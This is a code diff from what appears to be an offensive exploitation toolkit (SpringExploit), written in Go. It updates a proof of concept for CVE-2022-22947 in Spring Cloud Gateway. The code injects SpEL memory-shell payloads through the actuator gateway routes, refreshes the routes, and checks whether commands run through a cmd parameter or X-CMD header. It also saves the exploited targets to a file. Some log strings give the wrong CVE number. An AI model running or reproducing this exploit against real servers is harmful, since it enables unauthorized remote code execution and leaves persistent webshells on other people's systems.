@@ -23,8 +23,8 @@ const memshell1 = "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(
2323
2424type CVE202222947 struct {}
2525
26- func (CVE202222947 ) SendPoc (url string , hashmap map [string ]interface {}) {
27- log .Debugf ("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s" , url )
26+ func (p CVE202222947 ) SendPoc (target string , hashmap map [string ]interface {}) {
27+ log .Debugf ("github.com/SummerSec/SpringExploit/cmd/commons/poc/CVE202222947.SendPoc url:%s" , target )
2828 //TODO implement me
2929 NettyMemshell := fmt .Sprintf (memshell , mem )
3030 SpringRequestMappingMemshell := fmt .Sprintf (memshell1 , mem1 )
@@ -33,7 +33,11 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
3333 log .Debugf ("[+] Running default poc" )
3434 reqinfo := NewReqInfo ()
3535 reqmap := structs .Map (reqinfo )
36- reqmap ["url" ] = url
36+ // 解析target
37+ //t, _ := url.Parse(target)
38+ //target = t.Scheme + "://" + t.Host + "/"
39+
40+ reqmap ["url" ] = target
3741 reqmap ["method" ] = "POST"
3842 // 默认随机UA 不需要设置
3943 reqmap ["headers" ] = map [string ]string {
@@ -55,30 +59,30 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
5559 for true {
5660
5761 // 第一次请求
58- t := url + "actuator/gateway/routes/" + id
62+ t := target + "actuator/gateway/routes/" + id
5963 reqmap ["url" ] = t
6064 utils .Send (reqmap )
6165 // 第二次请求
62- t = url + "actuator/gateway/refresh"
66+ t = target + "actuator/gateway/refresh"
6367 reqmap ["url" ] = t
6468 reqmap ["body" ] = ""
6569
6670 utils .Send (reqmap )
6771 // 第三次请求
68- t = url + "actuator/gateway/routes/" + id
72+ t = target + "actuator/gateway/routes/" + id
6973 reqmap ["url" ] = t
7074 reqmap ["method" ] = "GET"
7175 resp := utils .Send (reqmap )
7276 // 第四次请求
7377 reqmap ["method" ] = "DELETE"
7478 utils .Send (reqmap )
7579 // 第五次请求
76- t = url + "actuator/gateway/refresh"
80+ t = target + "actuator/gateway/refresh"
7781 reqmap ["url" ] = t
7882 reqmap ["method" ] = "POST"
7983 utils .Send (reqmap )
8084
81- if checkExp (resp , url ) {
85+ if p . checkExp (resp , target , hashmap [ "Out" ].( string ) ) {
8286 log .Info ("[+] Successful exploitation CVE-2020-222947" )
8387 break
8488 } else {
@@ -96,30 +100,34 @@ func (CVE202222947) SendPoc(url string, hashmap map[string]interface{}) {
96100
97101func (CVE202222947 ) init () {
98102 //TODO implement me
99-
100103 log .Debugf ("CVE-2022-22947 init" )
101104
102105}
103106
104- func checkExp (resp * req.Response , url string ) bool {
107+ // 检查是否成功
108+ func (p CVE202222947 ) checkExp (resp * req.Response , url string , file string ) bool {
105109
106110 log .Debugln ("github.com/SpringExploit/cmd/commons/poc/CVE-2020-222947 checkExp" )
107- res , _ := resp .ToString ()
111+ res := resp .Dump ()
108112 log .Debugf ("[+] res:%s" , res )
109113 if strings .Contains (res , "route_id" ) {
110- url := url
111114 re , _ := req .R ().SetQueryString ("cmd=echo route_id" ).SetHeader ("X-CMD" , "echo route_id" ).Send ("GET" , url )
112- res2 , _ := re .ToString ()
115+ res2 := re .String ()
113116 log .Debugf ("[+] res2:%s" , res2 )
114117 if strings .Contains (res2 , "route_id" ) {
115- log .Info ("[+] Successful exploitation CVE-2020-222947" )
116118 log .Debugln ("[+] Result: " + re .String ())
117- log .Info ("[*] 漏洞利用验证成功! " )
119+ log .Info ("[+] Successful exploitation CVE-2020-222947 " )
118120 log .Info ("[*] 请手动验证是否漏洞利用成功!" )
119- log . Info ( "[*]: url: " + url + "/?cmd=echo Result or add header X-CMD: echo Restult" )
121+ p . saveResult ( url , file )
120122 return true
121123 }
122124 return true
123125 }
124126 return false
125127}
128+
129+ func (CVE202222947 ) saveResult (target , file string ) {
130+ context := target + " Successful exploitation CVE-2020-222947 " + target + "/?cmd=echo Result or add header X-CMD: echo Result"
131+ log .Info ("[*]: url: " + target + "/?cmd=echo Result or add header X-CMD: echo Result" )
132+ utils .SaveToFile (context , file )
133+ }
0 commit comments